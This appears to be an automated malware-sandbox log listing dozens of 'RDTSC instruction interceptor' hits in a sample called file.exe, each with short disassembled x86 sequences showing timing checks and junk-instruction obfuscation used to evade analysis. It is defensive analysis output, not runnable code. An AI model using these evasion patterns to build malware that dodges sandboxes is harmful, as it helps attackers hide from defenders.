Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F53DC second address: 3F543A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 mov di, 5B60h 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov dword ptr fs:[00000000h], esp 0x00000018 mov eax, dword ptr [ebp+122D09F5h] 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F5E68513428h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000019h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 add ebx, dword ptr [ebp+122D3772h] 0x0000003e push FFFFFFFFh 0x00000040 mov dword ptr [ebp+122D1C0Bh], edx 0x00000046 push eax 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F5E6851342Dh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F73AF second address: 3F73D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f ja 00007F5E68E41F16h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F9BE9 second address: 3F9BED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FB84D second address: 3FB871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F5E68E41F1Fh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FB871 second address: 3FB8D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5E68513426h 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d movsx edi, bx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F5E68513428h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov dword ptr [ebp+122D1CEEh], eax 0x00000032 push 00000000h 0x00000034 and bx, BA10h 0x00000039 xchg eax, esi 0x0000003a pushad 0x0000003b jng 00007F5E6851343Eh 0x00000041 jmp 00007F5E68513438h 0x00000046 push eax 0x00000047 push edx 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FB8D2 second address: 3FB901 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E68E41F29h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FB901 second address: 3FB907 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FBB5B second address: 3FBB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FCAD3 second address: 3FCAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68513434h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE948 second address: 3FE94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FDB2C second address: 3FDB31 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE94D second address: 3FE964 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F5E68E41F16h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F5E68E41F1Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE964 second address: 3FE968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3FE968 second address: 3FE9E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F5E68E41F18h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007F5E68E41F18h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 0000001Dh 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 je 00007F5E68E41F1Ch 0x00000046 mov dword ptr [ebp+12461EF0h], edi 0x0000004c push 00000000h 0x0000004e movsx edi, cx 0x00000051 push eax 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push ebx 0x00000056 pop ebx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406B17 second address: 406B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406B21 second address: 406B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406200 second address: 406220 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jo 00007F5E68513426h 0x0000000f jmp 00007F5E6851342Eh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406220 second address: 40624B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F5E68E41F1Ah 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E68E41F25h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4063CF second address: 406403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68513436h 0x00000009 jmp 00007F5E68513438h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 406403 second address: 406408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409D56 second address: 409D61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F5E68513426h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409DE6 second address: 409E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jmp 00007F5E68E41F1Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409E04 second address: 409E19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jno 00007F5E68513426h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409E19 second address: 409E1E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409F04 second address: 409F0A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 409F0A second address: 409F50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F5E68E41F16h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F5E68E41F26h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 jmp 00007F5E68E41F27h 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4107FC second address: 41080F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5E68513426h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410921 second address: 410938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5E68E41F21h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410938 second address: 41096D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68513434h 0x00000007 jnp 00007F5E68513443h 0x0000000d jmp 00007F5E68513437h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41096D second address: 41098B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5E68E41F22h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410E2D second address: 410E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410E31 second address: 410E7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E68E41F29h 0x00000007 jmp 00007F5E68E41F24h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F5E68E41F16h 0x00000016 jmp 00007F5E68E41F22h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410E7C second address: 410E84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410E84 second address: 410E89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410E89 second address: 410E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 410E8F second address: 410E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 411169 second address: 411171 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41CD3B second address: 41CD3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41CD3F second address: 41CD4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41CD4B second address: 41CD57 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E68E41F16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391437 second address: 39143B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E04AE second address: 3E04B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0AD9 second address: 3E0ADF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0E8B second address: 3E0E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E168E second address: 3E1692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E1692 second address: 3E169C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E169C second address: 3E16BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F5E6851342Ah 0x0000000f jp 00007F5E68513426h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E16BC second address: 3E1757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov edx, dword ptr [ebp+122D27D9h] 0x0000000d mov dx, 2D85h 0x00000011 lea eax, dword ptr [ebp+1248818Dh] 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F5E68E41F18h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov ecx, dword ptr [ebp+122D3726h] 0x00000037 mov dword ptr [ebp+122D1CAAh], ecx 0x0000003d nop 0x0000003e pushad 0x0000003f pushad 0x00000040 ja 00007F5E68E41F16h 0x00000046 je 00007F5E68E41F16h 0x0000004c popad 0x0000004d push eax 0x0000004e jno 00007F5E68E41F16h 0x00000054 pop eax 0x00000055 popad 0x00000056 push eax 0x00000057 pushad 0x00000058 jo 00007F5E68E41F18h 0x0000005e pushad 0x0000005f popad 0x00000060 jns 00007F5E68E41F2Bh 0x00000066 popad 0x00000067 nop 0x00000068 movzx edi, bx 0x0000006b lea eax, dword ptr [ebp+12488149h] 0x00000071 mov edi, 6596DE5Ah 0x00000076 nop 0x00000077 pushad 0x00000078 push eax 0x00000079 push edx 0x0000007a pushad 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C2C3 second address: 41C2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C2C8 second address: 41C2CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C2CD second address: 41C2E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E6851342Ah 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C2E0 second address: 41C2E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C2E4 second address: 41C2EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C5A6 second address: 41C5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F5E68E41F16h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C5B5 second address: 41C5B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C5B9 second address: 41C5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C5BF second address: 41C5D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5E6851342Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C718 second address: 41C71C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C71C second address: 41C72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jc 00007F5E68513426h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C8B7 second address: 41C8BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41C8BB second address: 41C8BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41F97A second address: 41F996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 jbe 00007F5E68E41F30h 0x0000000c jns 00007F5E68E41F1Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 41F996 second address: 41F99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424166 second address: 42417E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4242BC second address: 4242CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E6851342Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4242CF second address: 4242DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F5E68E41F16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4242DC second address: 4242E9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4245CB second address: 4245D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424A21 second address: 424A36 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5E68513426h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d js 00007F5E68513426h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424A36 second address: 424A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424BEF second address: 424BF9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E6851342Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424D4F second address: 424D83 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5E68E41F1Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F5E68E41F23h 0x00000010 js 00007F5E68E41F16h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 424D83 second address: 424D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E6851342Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425339 second address: 42533D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42533D second address: 425341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B3C8 second address: 42B3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E68E41F20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B3DC second address: 42B3E6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5E68513426h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B3E6 second address: 42B411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F5E68E41F1Dh 0x00000015 jmp 00007F5E68E41F1Dh 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AB17 second address: 42AB1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42AB1C second address: 42AB32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F5E68E41F1Ch 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42ACA6 second address: 42ACB3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5E68513426h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B0D7 second address: 42B0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f je 00007F5E68E41F16h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B0ED second address: 42B108 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F5E68513426h 0x0000000a jmp 00007F5E68513431h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42B108 second address: 42B111 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F157 second address: 42F15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F15B second address: 42F168 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5E68E41F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42F168 second address: 42F16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42EB9E second address: 42EBA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
